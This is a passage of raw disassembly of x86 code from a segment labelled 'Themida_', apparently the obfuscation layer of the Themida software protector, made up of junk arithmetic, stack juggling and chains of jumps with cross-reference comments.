		xor	ebp, 0B2AA6D17h
		add	esi, ebp
		pop	ebp
		sub	eax, esi
		pop	esi
		jmp	loc_549A31
; ---------------------------------------------------------------------------


loc_54BBCA:				; CODE XREF: Themida_:0054CB7Aj
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55000E
; ---------------------------------------------------------------------------


loc_54BBE3:				; CODE XREF: Themida_:0054C56Bj
		and	esi, 1BF85441h
		shl	esi, 1
		jmp	loc_54DA40
; ---------------------------------------------------------------------------


loc_54BBF0:				; CODE XREF: Themida_:00549759j
		inc	ebp
		jmp	loc_5459CC
; ---------------------------------------------------------------------------


loc_54BBF6:				; CODE XREF: Themida_:00549C40j
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		push	ebx
		push	5D6E0E1Bh
		pop	ebx
		inc	ebx
		jmp	loc_54D742
; ---------------------------------------------------------------------------


loc_54BC0A:				; CODE XREF: Themida_:0054E187j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_548E09
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54A896
; ---------------------------------------------------------------------------


loc_54BC33:				; CODE XREF: Themida_:0054DDC4j
		xchg	esi, [esp]
		mov	esp, [esp]
		mul	ecx
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	edi
		push	ebx
		push	ecx
		mov	ecx, 71597598h
		mov	ebx, ecx
		pop	ecx
		push	eax
		push	edx
		mov	edx, 4B8331B0h
		shl	edx, 1
		inc	edx
		shr	edx, 4
		or	edx, 447D2952h
		xor	edx, 5CCA29ABh
		sub	edx, 0D9E9F3D8h
		mov	eax, edx
		pop	edx
		mov	edi, 19B81CDDh
		xor	edi, eax
		jmp	loc_544608
; ---------------------------------------------------------------------------


loc_54BC81:				; CODE XREF: Themida_:005449D3j
		push	ebx
		mov	ebx, 79D6397Ch
		not	ebx
		or	ebx, 1CF65E37h
		inc	ebx
		add	ebx, 83F84BD4h
		jmp	loc_54BB81
; ---------------------------------------------------------------------------


loc_54BC9B:				; CODE XREF: Themida_:0054E102j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 7A7D2548h
		jmp	loc_5485B1
; ---------------------------------------------------------------------------


loc_54BCAC:				; CODE XREF: Themida_:005465D5j
		add	eax, edx
		pop	edx
		sub	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54E29F
; ---------------------------------------------------------------------------


loc_54BCCD:				; CODE XREF: Themida_:0054E18Dj
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_54D03C
; ---------------------------------------------------------------------------


loc_54BCD7:				; CODE XREF: Themida_:00547073j
		mov	esi, 5A9B0C57h
		mov	ecx, 5A9B0C53h
		xor	ecx, esi
		pop	esi
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54568D
; ---------------------------------------------------------------------------


loc_54BCF1:				; CODE XREF: Themida_:0054402Ej
		xchg	ebp, [esp]
		pop	esp
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	5A72h
		mov	[esp], eax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54BD0B:				; CODE XREF: Themida_:00548B8Ej
		mov	dx, 3505h
		add	dx, 17C1h
		sub	dx, 5138h
		sub	bp, dx
		pop	edx
		jmp	loc_547660
; ---------------------------------------------------------------------------


loc_54BD22:				; CODE XREF: Themida_:00544E8Cj
		and	ebx, edx
		pop	edx
		shl	ebx, 6
		sub	ebx, 30EB1AF9h
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	esi
		mov	esi, 5702F13h
		add	ebx, esi
		pop	esi
		jmp	loc_544B5F
; ---------------------------------------------------------------------------


loc_54BD45:				; CODE XREF: Themida_:0054672Cj
		sub	esp, 4
		jmp	loc_54C866
; ---------------------------------------------------------------------------


loc_54BD4D:				; CODE XREF: Themida_:0054488Aj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_54D1FA
; ---------------------------------------------------------------------------


loc_54BD5A:				; CODE XREF: Themida_:0054734Cj
		add	esp, 4
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54BD65:				; CODE XREF: Themida_:0054F489j
		push	191Bh
		mov	[esp], ebx
		push	4
		pop	ebx
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_54E5B7
; ---------------------------------------------------------------------------


loc_54BD7D:				; CODE XREF: Themida_:00546EC2j
		add	esp, 4
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		not	edi
		xchg	edi, ebx
		jmp	loc_545921
; ---------------------------------------------------------------------------


loc_54BD8F:				; CODE XREF: Themida_:00546274j
		pop	edi
		jmp	loc_548FA8
; ---------------------------------------------------------------------------


loc_54BD95:				; CODE XREF: Themida_:0054D9C9j
		add	eax, edi
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 14C22F0h
		dec	ecx
		not	ecx
		jmp	loc_547D59
; ---------------------------------------------------------------------------


loc_54BDB9:				; CODE XREF: Themida_:0054B8E0j
		mov	esi, 4B432D90h
		shr	esi, 7
		dec	esi
		jmp	loc_54D10E
; ---------------------------------------------------------------------------


loc_54BDC7:				; CODE XREF: Themida_:0054704Ej
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54BDDF:				; CODE XREF: Themida_:0054B0E6j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54E2D7
; ---------------------------------------------------------------------------


loc_54BDEB:				; CODE XREF: Themida_:00546664j
		mov	[esp], edi
		mov	edi, 301100AFh
		xor	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54C785
; ---------------------------------------------------------------------------


loc_54BE04:				; CODE XREF: Themida_:0054763Dj
		pop	edx
		push	edx
		mov	dh, 0A3h
		add	al, 7
		sub	al, dh
		push	ecx
		mov	cl, 0ECh
		and	cl, 0B4h
		shr	cl, 1
		jmp	loc_545714
; ---------------------------------------------------------------------------


loc_54BE19:				; CODE XREF: Themida_:005461DEj
		push	dword ptr [esp]
		jmp	loc_546F73
; ---------------------------------------------------------------------------


loc_54BE21:				; CODE XREF: Themida_:0054BE4Fj
		add	ecx, ebp
		pop	ebp
		sub	ecx, 2141E61h
		shl	ecx, 4
		push	esi
		push	edi
		jmp	loc_548F9D
; ---------------------------------------------------------------------------


loc_54BE34:				; CODE XREF: Themida_:00547E70j
		xor	ebp, 2F5F282Dh
		add	ebp, 4EF41036h
		sub	ebp, 401059AFh
		shr	ebp, 5
		sub	ebp, 0EF2EA0FCh
		jmp	loc_54BE21
; ---------------------------------------------------------------------------


loc_54BE54:				; CODE XREF: Themida_:0054C9E7j
		add	eax, ebx
		push	ebx
		jmp	loc_54AB2B
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		push	esi
		mov	esi, 0F094CD9h
		push	esi
		not	dword ptr [esp]
		jmp	loc_54C68C
; ---------------------------------------------------------------------------


loc_54BE6D:				; CODE XREF: Themida_:0054EEC7j
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 82F4C3Ah
		mov	ebp, 219889EDh
		sub	ebp, eax
		pop	eax
		xor	ebp, 3C10191Ah
		or	ebp, 2B213D53h
		neg	ebp
		shr	ebp, 2
		add	ebp, 0CBDE4F83h
		add	esi, ebp
		pop	ebp
		jmp	loc_54FE03
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54BECF:				; CODE XREF: Themida_:005465EAj
		xor	eax, 433F7BC6h
		xor	eax, 787743F2h
		jmp	loc_546A0F
; ---------------------------------------------------------------------------


loc_54BEDE:				; CODE XREF: Themida_:0054F326j
		push	eax
		jmp	loc_54D358
; ---------------------------------------------------------------------------


loc_54BEE4:				; CODE XREF: Themida_:0054EE20j
		shr	ecx, 8
		jmp	loc_54DD9D
; ---------------------------------------------------------------------------


loc_54BEEC:				; CODE XREF: Themida_:0054F194j
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_54ADD1
; ---------------------------------------------------------------------------


loc_54BEF7:				; CODE XREF: Themida_:0054B45Fj
		push	ebx
		push	esp
		jmp	loc_54D40A
; ---------------------------------------------------------------------------


loc_54BEFE:				; CODE XREF: Themida_:0054EC9Cj
		push	esi
		push	614C4238h
		pop	esi
		xor	esi, 53F23CBAh
		add	esi, 207EEDCCh
		push	esi
		add	dword ptr [esp], 7DCF193Eh
		pop	edi
		jmp	loc_5489C4
; ---------------------------------------------------------------------------


loc_54BF1F:				; CODE XREF: Themida_:0054D966j
		mov	esp, [esp]
		jmp	loc_547F58
; ---------------------------------------------------------------------------


loc_54BF27:				; CODE XREF: Themida_:0054F3F7j
		xchg	edx, [esp]
		jmp	loc_544EB7
; ---------------------------------------------------------------------------


loc_54BF2F:				; CODE XREF: Themida_:005458ABj
		push	ecx
		jmp	loc_54861C
; ---------------------------------------------------------------------------


loc_54BF35:				; CODE XREF: Themida_:0054CD70j
		shl	edx, 1
		push	1879h
		mov	[esp], ecx
		push	0FFFFFFFFh
		jmp	loc_54A131
; ---------------------------------------------------------------------------


loc_54BF49:				; CODE XREF: Themida_:00550081j
		push	edi
		push	esi
		mov	esi, 6073326h
		mov	edi, esi
		pop	esi
		neg	edi
		push	ebp
		mov	ebp, 30C040B2h
		sub	edi, ebp
		pop	ebp
		sub	edi, 4E113146h
		sub	edi, 431190DAh
		jmp	loc_54D3A6
; ---------------------------------------------------------------------------


loc_54BF6F:				; CODE XREF: Themida_:005455CAj
		mov	edx, [esp]
		add	esp, 4
		not	ebp
		shl	ebp, 5
		jmp	loc_5472A9
; ---------------------------------------------------------------------------


loc_54BF7F:				; CODE XREF: Themida_:0054B218j
		mov	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 5BE3407h
		jmp	loc_5455AC
; ---------------------------------------------------------------------------


loc_54BF8D:				; CODE XREF: Themida_:005460C5j
		push	ebp
		push	esp
		jmp	loc_5448FD
; ---------------------------------------------------------------------------


loc_54BF94:				; CODE XREF: Themida_:0054CDFDj
		push	4F58h
		jmp	loc_545202
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54BFA6:				; CODE XREF: Themida_:0054DB12j
		mov	[esp], ebp
		jmp	loc_544C54
; ---------------------------------------------------------------------------


loc_54BFAE:				; CODE XREF: Themida_:005475F8j
		pop	edx
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mul	cl
		movzx	cx, ah
		push	small 62D3h
		jmp	loc_5441DF
; ---------------------------------------------------------------------------


loc_54BFCB:				; CODE XREF: Themida_:0054DCF0j
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_546336
; ---------------------------------------------------------------------------


loc_54BFDC:				; CODE XREF: Themida_:00546970j
		push	edi
		push	esi
		mov	esi, 352B373Ah
		jmp	loc_545AD9
; ---------------------------------------------------------------------------


loc_54BFE8:				; CODE XREF: Themida_:00548075j
		and	eax, 33E62524h
		dec	eax
		jmp	loc_548C47
; ---------------------------------------------------------------------------


loc_54BFF3:				; CODE XREF: Themida_:00547D8Cj
		add	esp, 4
		push	edx
		push	edi
		mov	edi, 4B5D66F1h
		not	edi
		shl	edi, 7
		and	edi, 378317D8h
		shr	edi, 5
		add	edi, 6771526Ah
		jmp	loc_549C50
; ---------------------------------------------------------------------------


loc_54C019:				; CODE XREF: Themida_:0054A039j
		push	esi
		mov	esi, 68322C65h
		xor	esi, 234E74C8h
		push	edx
		mov	edx, 4798029Dh
		inc	edx
		shr	edx, 3
		and	edx, 511C0B0Ch
		sub	edx, 983BAD9Ah
		and	esi, edx
		pop	edx
		sub	esi, 43545025h
		sub	edi, esi
		pop	esi
		push	7631h
		mov	[esp], ebp
		mov	ebp, 81E0EA4Ch
		add	edi, ebp
		pop	ebp
		add	ebx, edi
		pop	edi
		push	esi
		mov	esi, 2
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		jmp	loc_54F3D1
; ---------------------------------------------------------------------------


loc_54C06B:				; CODE XREF: Themida_:0054EBEBj
		mov	ebp, [esp]
		add	esp, 4
		push	7853h
		mov	[esp], ecx
		mov	ecx, 2
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54C093:				; CODE XREF: Themida_:005443ACj
		push	dword ptr [esp]
		jmp	loc_546782
; ---------------------------------------------------------------------------


loc_54C09B:				; CODE XREF: Themida_:0054794Bj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54E2C4
; ---------------------------------------------------------------------------


loc_54C0A9:				; CODE XREF: Themida_:00544E97j
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 687F2DDAh
		shr	esi, 8
		add	esi, 2198186Dh
		add	esi, 25685B1Ch
		dec	esi
		add	esi, 0D0F4158Dh
		push	ecx
		mov	ecx, 7DA7773Ah
		push	ebx
		jmp	loc_549D64
; ---------------------------------------------------------------------------


loc_54C0DD:				; CODE XREF: Themida_:0054A4F4j
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_54F8C8
; ---------------------------------------------------------------------------


loc_54C0EE:				; CODE XREF: Themida_:00547851j
		xor	esi, [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54C0FC:				; CODE XREF: Themida_:0054AA56j
		pop	ecx
		jmp	loc_54E44C
; ---------------------------------------------------------------------------


loc_54C102:				; CODE XREF: Themida_:0054D51Dj
		sub	al, 0FFh
		jmp	loc_5463DD
; ---------------------------------------------------------------------------


loc_54C109:				; CODE XREF: Themida_:0054CDF5j
		mov	esp, [esp]
		push	ebx
		jmp	loc_54F32B
; ---------------------------------------------------------------------------


loc_54C112:				; CODE XREF: Themida_:0054EF96j
		mov	ecx, 0AF7EB466h
		sub	esi, 4CE1254Eh
		sub	esi, ecx
		add	esi, 4CE1254Eh
		pop	ecx
		add	edi, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_54B45C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5D91h
		jmp	loc_54D6C9
; ---------------------------------------------------------------------------


loc_54C141:				; CODE XREF: Themida_:0054984Ej
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_548370
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	380Bh
		mov	[esp], eax
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_544B42
; ---------------------------------------------------------------------------


loc_54C169:				; CODE XREF: Themida_:00549ABDj
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_54C6B1
; ---------------------------------------------------------------------------


loc_54C178:				; CODE XREF: Themida_:00545722j
		mov	ebp, 78DE64F5h
		add	ebx, ebp
		pop	ebp
		add	ebx, 770C7562h
		add	ebx, esi
		sub	ebx, 770C7562h
		sub	ebx, 78DE64F5h
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54A678
; ---------------------------------------------------------------------------


loc_54C1AC:				; CODE XREF: Themida_:0054761Aj
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_546CC8
; ---------------------------------------------------------------------------


loc_54C1B7:				; CODE XREF: Themida_:0054B6BAj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54CE54
; ---------------------------------------------------------------------------


loc_54C1C3:				; CODE XREF: Themida_:00547BB8j
		pop	esp
		push	dword ptr [eax]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54C1CB:				; CODE XREF: Themida_:0054EEF1j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_548A3A
; ---------------------------------------------------------------------------


loc_54C1DD:				; CODE XREF: Themida_:0054575Cj
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, 50855D33h
		sub	ebp, 7A723D36h
		sub	ebp, 61941455h
		jmp	loc_545123
; ---------------------------------------------------------------------------


loc_54C1FC:				; CODE XREF: Themida_:0054FC0Ej
		mov	ebx, 4EDB11A1h
		add	ebx, 6B2C1B92h
		sub	ebx, 0BA072D2Fh
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		xchg	eax, [esp]
		jmp	loc_546981
; ---------------------------------------------------------------------------


loc_54C21C:				; CODE XREF: Themida_:00546828j
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5480B7
		push	dword ptr [edi+1Ch]
		jmp	loc_54CDFA
; ---------------------------------------------------------------------------


loc_54C235:				; CODE XREF: Themida_:00547204j
		pop	edx
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ecx
		mov	ecx, 473363EDh
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		add	eax, 473363EDh
		push	ebx
		mov	ebx, esp
		jmp	loc_546C0B
; ---------------------------------------------------------------------------


loc_54C25B:				; CODE XREF: Themida_:00549D85j
		pop	ecx
		sub	ebx, ebp
		pop	ebp
		mov	esi, [esp]
		jmp	loc_5494C3
; ---------------------------------------------------------------------------


loc_54C267:				; CODE XREF: Themida_:0054CA99j
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_54E8D1
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54C282:				; CODE XREF: Themida_:00547DE6j
		mov	dl, bl
		mov	al, dl
		pop	edx
		pop	ebx
		mov	bh, al
		pop	eax
		mov	dl, [esp+4]
		jmp	loc_54DB64
; ---------------------------------------------------------------------------


loc_54C294:				; CODE XREF: Themida_:0054A085j
		mov	[esp], eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		push	edi
		mov	edi, 24D164A8h
		add	edi, 4AC91428h
		xor	edi, 55BF5AC7h
		jmp	loc_54798A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2554h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 35460885h
		push	edi
		mov	edi, 553C128Ch
		shr	edi, 8
		xor	edi, 2B7A2B65h
		jmp	loc_544CC3
; ---------------------------------------------------------------------------


loc_54C2EC:				; CODE XREF: Themida_:0054B780j
		mov	ecx, [esp]
		jmp	loc_547E48
; ---------------------------------------------------------------------------


loc_54C2F4:				; CODE XREF: Themida_:005470B0j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	2233h
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_54A16D
; ---------------------------------------------------------------------------


loc_54C314:				; CODE XREF: Themida_:0054DF94j
		sub	esi, 0C3C5E83h
		xor	esi, 7710CE8Ah
		sub	eax, esi
		pop	esi
		add	eax, ebx
		jmp	loc_544630
; ---------------------------------------------------------------------------


loc_54C32A:				; CODE XREF: Themida_:0054DB08j
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	2F63h
		jmp	loc_54F0AF
; ---------------------------------------------------------------------------


loc_54C33F:				; CODE XREF: Themida_:0054F36Cj
		push	dword ptr [esp+4]
		jmp	loc_548BEB
; ---------------------------------------------------------------------------


loc_54C348:				; CODE XREF: Themida_:0054A9B2j
		add	esp, 2
		push	4809h
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_54F476
; ---------------------------------------------------------------------------


loc_54C35B:				; CODE XREF: Themida_:00547CE3j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 6E3A793Fh
		add	eax, 0B8A21AFh
		shr	eax, 5
		push	eax
		not	dword ptr [esp]
		pop	eax
		add	eax, 26515E1Bh
		jmp	loc_54CFFF
; ---------------------------------------------------------------------------


loc_54C37E:				; CODE XREF: Themida_:00547A93j
		push	ecx
		jmp	loc_546C49
; ---------------------------------------------------------------------------


loc_54C384:				; CODE XREF: Themida_:00544431j
		sub	ch, bh
		add	ch, 10h
		pop	bx
		push	52D4h
		mov	[esp], ebx
		jmp	loc_549F6E
; ---------------------------------------------------------------------------


loc_54C398:				; CODE XREF: Themida_:0054541Aj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54AE69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54EAB8


loc_54C3A3:				; CODE XREF: sub_54EAB8-4B7Aj
		shr	dl, 5
		jmp	loc_54F2A9
; END OF FUNCTION CHUNK	FOR sub_54EAB8
; ---------------------------------------------------------------------------


loc_54C3AB:				; CODE XREF: Themida_:0054D1BEj
		pop	esp
		mov	[esp], ebx
		push	esp
		jmp	loc_546B41
; ---------------------------------------------------------------------------


loc_54C3B5:				; CODE XREF: Themida_:00548ABFj
		mov	[esp], esi
		mov	esi, 3A506914h
		neg	esi
		sub	esi, 7A913D65h
		push	ebp
		mov	ebp, 498E38FEh
		sub	esi, 1A40471Fh
		sub	esi, ebp
		add	esi, 1A40471Fh
		mov	ebp, [esp]
		add	esp, 4
		shr	esi, 6
		jmp	loc_5468E9
; ---------------------------------------------------------------------------


loc_54C3E7:				; CODE XREF: Themida_:00547985j
		shr	edx, 2
		push	esi
		jmp	loc_54D162
; ---------------------------------------------------------------------------


loc_54C3F0:				; CODE XREF: Themida_:00545F17j
		mov	edi, 13CE42A7h
		jmp	loc_544C3D
; ---------------------------------------------------------------------------


loc_54C3FA:				; CODE XREF: Themida_:0054F8C3j
		add	[esp+4], ebp
		add	dword ptr [esp+4], 61777AB1h
		pop	ebp
		mov	esi, [esp]
		jmp	loc_549795
; ---------------------------------------------------------------------------


loc_54C40F:				; CODE XREF: Themida_:0054F564j
		push	esp
		pop	eax
		push	edx
		mov	edx, 4
		sub	eax, 23E57555h
		jmp	loc_54CBD4
; ---------------------------------------------------------------------------


loc_54C421:				; CODE XREF: Themida_:0054B53Dj
		pop	cx
		add	dl, 0E9h
		shl	dl, 2
		shl	dl, 4
		jmp	loc_545681
; ---------------------------------------------------------------------------


loc_54C431:				; CODE XREF: Themida_:00548F46j
		pop	eax
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	ebp, eax
		pop	eax
		sub	ebp, 76A037F7h
		and	ebp, 3DC457A0h
		xor	ebp, 8804424h
		add	edx, ebp
		pop	ebp
		add	edx, 2
		push	edx
		jmp	loc_54EC34
; ---------------------------------------------------------------------------


loc_54C45C:				; CODE XREF: Themida_:00544394j
		push	edx
		mov	edx, 6F706140h
		sub	ebp, edx
		pop	edx
		shr	ebp, 3
		sub	ebp, 0FD3524C5h
		sub	ebx, ebp
		pop	ebp
		push	ecx
		jmp	loc_54AAFA
; ---------------------------------------------------------------------------


loc_54C477:				; CODE XREF: Themida_:0054B67Aj
		push	ecx
		mov	ecx, 52365A0h
		jmp	loc_548780
; ---------------------------------------------------------------------------


loc_54C482:				; CODE XREF: Themida_:0054C79Cj
		push	edx
		mov	edx, 558955E6h
		xor	edx, 343468EFh
		add	edx, 16DB115Bh
		xor	edx, 4D765A88h
		jmp	loc_54F454
; ---------------------------------------------------------------------------


loc_54C49F:				; CODE XREF: Themida_:0054A0D2j
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_54711A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		jmp	loc_54622A
; ---------------------------------------------------------------------------


loc_54C4B1:				; CODE XREF: Themida_:005451B9j
		push	7EECh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5484FB
; ---------------------------------------------------------------------------


loc_54C4C4:				; CODE XREF: Themida_:0054A534j
		pop	ebp
		sub	ebp, 50E45217h
		pop	ecx
		jmp	loc_547209
; ---------------------------------------------------------------------------


loc_54C4D1:				; CODE XREF: Themida_:00545446j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_54CED2
; ---------------------------------------------------------------------------


loc_54C4E3:				; CODE XREF: Themida_:005447A2j
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54F392
; ---------------------------------------------------------------------------


loc_54C507:				; CODE XREF: Themida_:00546D97j
		add	eax, 15805D11h
		shr	eax, 5
		xor	eax, 463F498h
		add	edi, eax
		pop	eax
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edi
		push	5D1218D2h
		pop	edi
		shl	edi, 6
		sub	edi, 1902BE16h
		jmp	loc_547B2D
; ---------------------------------------------------------------------------


loc_54C538:				; CODE XREF: Themida_:005461B1j
		mov	dl, bh
		pop	ebx
		push	eax
		mov	al, dl
		mov	bl, al
		pop	eax
		pop	edx
		mov	ch, bl
		jmp	loc_54B6FB
; ---------------------------------------------------------------------------


loc_54C549:				; CODE XREF: Themida_:005456A9j
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_54EECC
; ---------------------------------------------------------------------------


loc_54C558:				; CODE XREF: Themida_:00548BE6j
		or	eax, 735F1368h
		push	2DAEh
		mov	[esp], ebp
		push	esi
		mov	esi, 5B0664A9h
		jmp	loc_54BBE3
; ---------------------------------------------------------------------------


loc_54C570:				; CODE XREF: Themida_:005440D7j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_54574A
; ---------------------------------------------------------------------------


loc_54C590:				; CODE XREF: Themida_:0054F212j
		pop	ebp
		jmp	loc_54B609
; ---------------------------------------------------------------------------


loc_54C596:				; CODE XREF: Themida_:00544409j
		push	2DC9h
		mov	[esp], edi
		mov	edi, 2
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_54BAD7
; ---------------------------------------------------------------------------


loc_54C5B8:				; CODE XREF: Themida_:0054C8C0j
		sub	ebp, 133357FAh
		sub	ebp, 6F3F79B7h
		inc	ebp
		jmp	loc_547D27
; ---------------------------------------------------------------------------


loc_54C5CA:				; CODE XREF: Themida_:0054FC53j
		add	esp, 4
		add	edx, ebx
		add	edx, 44716349h
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3A4171DAh
		jmp	loc_54FF51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565CDA


loc_54C5EC:				; CODE XREF: sub_565CDA-21CB7j
		xor	al, bl
		jmp	loc_548440
; END OF FUNCTION CHUNK	FOR sub_565CDA
; ---------------------------------------------------------------------------


loc_54C5F3:				; CODE XREF: Themida_:0054DC15j
		push	ebx
		jmp	loc_544AE8
; ---------------------------------------------------------------------------


loc_54C5F9:				; CODE XREF: Themida_:00548F98j
		mov	[esp], ecx
		push	eax
		jmp	loc_54A715
; ---------------------------------------------------------------------------


loc_54C602:				; CODE XREF: Themida_:0054D421j
		mov	eax, 1
		jmp	loc_54CD2B
; ---------------------------------------------------------------------------


loc_54C60C:				; CODE XREF: Themida_:0054DE2Dj
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 1
		shr	ebx, 8
		shl	ebx, 7
		push	457Dh
		mov	[esp], ebx
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		inc	ebx
		push	ecx
		mov	ecx, 40E64905h
		dec	ecx
		sub	ecx, 746803AAh
		add	ecx, 157F0D6Dh
		inc	ecx
		sub	ecx, 0F4DB0848h
		xor	ebx, ecx
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_54D0E1
; ---------------------------------------------------------------------------


loc_54C654:				; CODE XREF: Themida_:0054D6A9j
		pop	ebx
		xor	ebx, eax
		push	ecx
		mov	ecx, esp
		jmp	loc_54DF0E
; ---------------------------------------------------------------------------


loc_54C65F:				; CODE XREF: Themida_:005497B9j
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	6DE0h
		jmp	loc_54E192
; ---------------------------------------------------------------------------


loc_54C677:				; CODE XREF: Themida_:0054B046j
		pop	edi
		sub	edx, 0B7C0FD2Ch
		add	esi, edx
		pop	edx
		sub	esi, 4
		jmp	loc_544D26
; ---------------------------------------------------------------------------


